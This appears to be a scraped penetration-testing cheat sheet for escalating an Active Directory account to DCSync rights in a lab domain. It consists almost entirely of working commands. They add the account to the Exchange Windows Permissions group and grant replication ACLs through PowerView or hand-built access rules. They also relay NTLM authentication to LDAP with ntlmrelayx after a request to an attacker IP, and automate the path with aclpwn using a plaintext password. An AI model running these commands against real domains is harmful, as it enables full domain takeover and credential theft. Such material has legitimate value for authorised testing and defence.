Copy PS > Add-ADGroupMember - Identity "Exchange Windows Permissions" - Members snovvcrash
Copy PowerView2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash -Rights DCSync -Verbose
Copy PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))
PowerView3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash -Credential $cred -Rights DCSync -Verbose
Copy PS > IWR http: // 10.10 . 13.37 - UseDefaultCredentials
$ sudo ntlmrelayx.py - t ldap: // DC01.megacorp.local -- escalate - user snovvcrash
Copy $ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp neo4j --server 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -sp 'Passw0rd!'
Copy PS > Import-Module ActiveDirectory
PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID
PS > $objectGuid = New-Object guid 1131f6ad - 9c07 - 11d1 - f79f - 00c04fc2dcd2
PS > $identity = [ System.Security.Principal.IdentityReference ] $sid
PS > $adRights = [ System.DirectoryServices.ActiveDirectoryRights ] "ExtendedRight"
PS > $type = [ System.Security.AccessControl.AccessControlType ] "Allow"
PS > $inheritanceType = [ System.DirectoryServices.ActiveDirectorySecurityInheritance ] "None"
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > $objectGuid = New-Object Guid 1131f6aa - 9c07 - 11d1 - f79f - 00c04fc2dcd2
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > Set-Acl - AclObject $acl "AD:DC=megacorp,DC=local"